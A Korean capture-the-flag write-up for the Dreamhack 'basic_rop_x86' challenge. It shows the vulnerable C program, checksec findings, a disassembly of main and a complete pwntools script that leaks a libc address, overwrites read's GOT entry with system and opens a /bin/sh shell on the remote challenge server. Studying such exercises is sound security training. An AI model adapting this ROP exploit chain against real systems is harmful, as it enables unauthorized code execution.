Hacking/Dremahack 문제풀이
[ Dreamhack ] basic_rop_x86
미역줄기줄기
2024. 2. 16. 20:46
728x90
문제설명
코드 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
char형 버퍼에 0x40 만큼 할당했다.
read를 보면 버퍼에 0x400만큼 입력할 수 있다는 것을 알 수 있다. 이 과정에서 오버플로우가 일어날 것이다.
intel의 32비트 x86아키텍처
카나리 없음 == sfp, ret 덮어도 강제종료 안 한다.
NX 적용되어있다 == ROP기법 사용
PIE가 없다 == 바이너리가 실행되는 주소를 랜덤화 하지 않는다
Exploit
x86아키텍처에서는 함수의 인자를 stack에 푸쉬하여 사용한다
1. write() 함수를 이용해 read() 함수의 got값을 출력한다.
2. read() 함수의 got를 system()함수의 실제 주소로 오버라이트한다.
3.read() 함수를 재호출하여 실제로는 system() 함수를 호출하게 한다.
main을 디스어셈블 해보자
pwndbg> disassemble main
Dump of assembler code for function main:
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: push edi
=> 0x080485dd <+4>: sub esp,0x40
0x080485e0 <+7>: lea edx,[ebp-0x44]
0x080485e3 <+10>: mov eax,0x0
0x080485e8 <+15>: mov ecx,0x10
0x080485ed <+20>: mov edi,edx
0x080485ef <+22>: rep stos DWORD PTR es:[edi],eax
0x080485f1 <+24>: call 0x8048592 <initialize>
0x080485f6 <+29>: push 0x400
0x080485fb <+34>: lea eax,[ebp-0x44]
0x080485fe <+37>: push eax
0x080485ff <+38>: push 0x0
0x08048601 <+40>: call 0x80483f0 <read@plt>
0x08048606 <+45>: add esp,0xc
0x08048609 <+48>: push 0x40
0x0804860b <+50>: lea eax,[ebp-0x44]
0x0804860e <+53>: push eax
0x0804860f <+54>: push 0x1
0x08048611 <+56>: call 0x8048450 <write@plt>
0x08048616 <+61>: add esp,0xc
0x08048619 <+64>: mov eax,0x0
0x0804861e <+69>: mov edi,DWORD PTR [ebp-0x4]
0x08048621 <+72>: leave
0x08048622 <+73>: ret
End of assembler dump.
buf의 위치는 0x44이다.
레지스터 값을 설정하기 위한 가젯의 주소들을 확인한다.
pop = 0x804868b
pop_edi_ebp = 0x804868a
pop_esi_edi_ebp = 0x8048689
이정도면 될 것 같다.
from pwn import *
context.arch = 'i386'
p = remote("host3.dreamhack.games",16021)
e = ELF("./basic_rop_x86")
l = ELF("./libc.so.6")
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop = 0x804868b
pop_edi_ebp = 0x804868a
pop_esi_edi_ebp = 0x8048689
buf = b'A'*64
payload = b'A'*68 + b'B'*4
# (1) write(1, read_got, 4) == get addr of read()
payload += p32(write_plt) + p32(pop_esi_edi_ebp) + p32(1) + p32(read_got) + p32(4)
# (2) read(0, read_got, 12) == GOT Overwrite & overwrite [read_got+0x4]
payload += p32(read_plt) + p32(pop_esi_edi_ebp) + p32(0) + p32(read_got) + p32(12)
# (3) read("/bin/sh") == system("/bin/sh")
payload += p32(read_plt) + p32(pop) + p32(read_got+0x4)
p.send(payload)
p.recvuntil(buf)
read = u32(p.recvn(4))
libc_base = read - l.symbols['read']
system = libc_base + l.symbols['system']
print('read:', hex(read))
print('libc_base:', hex(libc_base))
print('system:', hex(system))
# (2) GOT Overwrite(read()->system()) + send "/bin/sh" to [read_got+0x4]
p.send(p32(system) + b'/bin/sh\x00')
p.interactive()
코드를 조금 쪼개서 보면
# (1) write(1, read_got, 4) == get addr of read()
payload += p32(write_plt) + p32(pop_esi_edi_ebp) + p32(1) + p32(read_got) + p32(4)
# (2) read(0, read_got, 12) == GOT Overwrite & overwrite [read_got+0x4]
payload += p32(read_plt) + p32(pop_esi_edi_ebp) + p32(0) + p32(read_got) + p32(12)
# (3) read("/bin/sh") == system("/bin/sh")
payload += p32(read_plt) + p32(pop) + p32(read_got+0x4)
write 함수를 사용해서 read 함수의 주소를 출력하고
read 함수를 사용해서 read 함수의 GOT 엔트리를 덮어쓰고
read함수를 사용하여 메모리에 "/bin/sh" 문자열을 읽어온다.
스택 모양